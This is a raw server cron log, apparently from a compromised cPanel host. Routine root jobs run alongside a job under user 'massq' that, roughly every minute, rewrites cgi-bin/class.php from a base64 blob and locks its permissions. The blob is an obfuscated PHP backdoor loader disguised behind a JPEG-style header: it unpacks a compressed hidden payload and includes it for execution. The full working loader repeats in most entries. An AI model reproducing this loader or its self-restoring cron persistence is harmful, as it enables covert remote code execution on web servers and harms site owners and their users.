"$fp"; fi; chmod 444 "$fp")
Aug 31 19:38:01 server CROND[8987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:38:01 server CROND[8988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:38:01 server CROND[8989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:39:01 server CROND[9358]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 19:39:01 server CROND[9360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:39:01 server CROND[9359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:39:01 server CROND[9361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:40:01 server CROND[9762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:40:01 server CROND[9764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:40:01 server CROND[9765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:40:01 server CROND[9767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:40:01 server CROND[9772]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:40:01 server CROND[9773]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:40:01 server CROND[9768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:40:01 server CROND[9771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:41:01 server CROND[10738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:41:01 server CROND[10739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:41:01 server CROND[10740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:42:01 server CROND[11117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:42:01 server CROND[11119]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 19:42:01 server CROND[11118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:42:01 server CROND[11120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:43:01 server CROND[11598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:43:01 server CROND[11599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:43:01 server CROND[11600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:44:01 server CROND[11996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:44:01 server CROND[11997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:44:01 server CROND[11998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:45:01 server CROND[12398]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:45:01 server CROND[12399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:45:01 server CROND[12400]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:45:01 server CROND[12407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:45:01 server CROND[12408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:45:01 server CROND[12410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:45:01 server CROND[12409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:46:01 server CROND[13242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:46:01 server CROND[13241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:46:01 server CROND[13243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:47:01 server CROND[13615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:47:01 server CROND[13616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:47:01 server CROND[13617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:48:01 server CROND[14102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:48:01 server CROND[14103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:48:01 server CROND[14104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:49:01 server CROND[14471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:49:01 server CROND[14472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:49:01 server CROND[14473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:50:01 server CROND[14862]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:50:01 server CROND[14864]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 19:50:01 server CROND[14869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
